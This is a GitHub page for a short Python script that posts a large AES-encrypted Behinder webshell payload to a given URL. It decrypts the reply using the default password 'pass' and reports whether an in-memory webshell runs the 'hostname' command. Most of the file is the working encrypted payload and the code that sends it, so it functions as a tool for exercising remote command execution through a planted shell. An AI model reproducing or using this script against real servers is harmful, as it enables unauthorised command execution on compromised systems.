forked from myh0st/scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbehinder-memshell-check.py
53 lines (45 loc) · 11.8 KB
/
behinder-memshell-check.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python
# -*- coding:utf-8 -*-
# author:xazlsec
import json
import re
import sys
import hashlib
import base64
import binascii
import requests
from Crypto.Cipher import AES
def decrypt(key, data):
key = key.encode('utf-8')
cipher = AES.new(key, AES.MODE_ECB) # Create a new AES cipher object
try:
decoded_bytes = base64.b64decode(data) # Try to decode using base64
except Exception:
decoded_bytes = base64.b64decode(data.decode('utf-8')) # Fallback to another decoding method
return cipher.decrypt(decoded_bytes) # Decrypt the data
def get_key(password):
hl = hashlib.md5()
hl.update(password.encode(encoding="utf-8"))
return hl.hexdigest()[:16]
def get_decode_info(b64data, key):
deb64jsonstr = decrypt(key, b64data).decode("utf-8")
datainfo = re.findall("msg\":\"([^\"]+)", deb64jsonstr)[0]
result = base64.b64decode(datainfo)
return result.decode("utf-8")
#发生请求,执行命令 hostname 返回结果
def check_mem_shell(shellurl, password):
qstr = "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"
headers= {"User-Agent": "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36",
"Type": "Behinder"
}
r = requests.post(shellurl, data=qstr, headers=headers, verify=False)
if r.status_code == 200:
key = get_key(password)
result = get_decode_info(r.text, key)
return result
return ""
if __name__=="__main__":
res = check_mem_shell(sys.argv[1], "pass")
if res != "":
print("\n\n内存马地址:", sys.argv[1], "密码:pass")
print("[+]内存马可正常使用,执行命令 hostname 的结果为:", res)